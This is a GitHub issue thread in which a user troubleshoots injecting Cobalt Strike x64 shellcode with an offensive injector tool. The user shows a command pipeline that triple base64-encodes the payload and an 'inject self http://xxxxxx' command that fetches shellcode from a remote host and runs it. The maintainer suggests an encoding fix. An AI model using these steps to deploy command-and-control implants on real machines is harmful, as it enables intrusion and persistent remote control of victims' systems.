Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

inject shellcode error #129

Open
h2so0o4 opened this issue Oct 9, 2022 · 5 comments
Open

inject shellcode error #129

h2so0o4 opened this issue Oct 9, 2022 · 5 comments

Comments

@h2so0o4
Copy link

h2so0o4 commented Oct 9, 2022

cobaltstrike shellcode x64 inject
image

error : Invalid byte 10, offset 76.

@mttaggart
Copy link
Owner

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

@h2so0o4
Copy link
Author

h2so0o4 commented Oct 12, 2022

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

cobaltstrike 4.3
payload:C# x64
kali:cat payload.cs| cut -d "{" -f2 | cut -d "}" -f1 | tail -n+2 | base64 | base64 | base64 > note.txt
notion: inject self http://xxxxxx 3

@h2so0o4
Copy link
Author

h2so0o4 commented Oct 12, 2022

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

test enviroment : Win11 & Win10

@mttaggart
Copy link
Owner

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

@h2so0o4
Copy link
Author

h2so0o4 commented Oct 13, 2022

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

After listening to your suggestion, no more error will be reported, showing "Injection completed!" But my beacon is not online
image
image

I don't know what went wrong

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants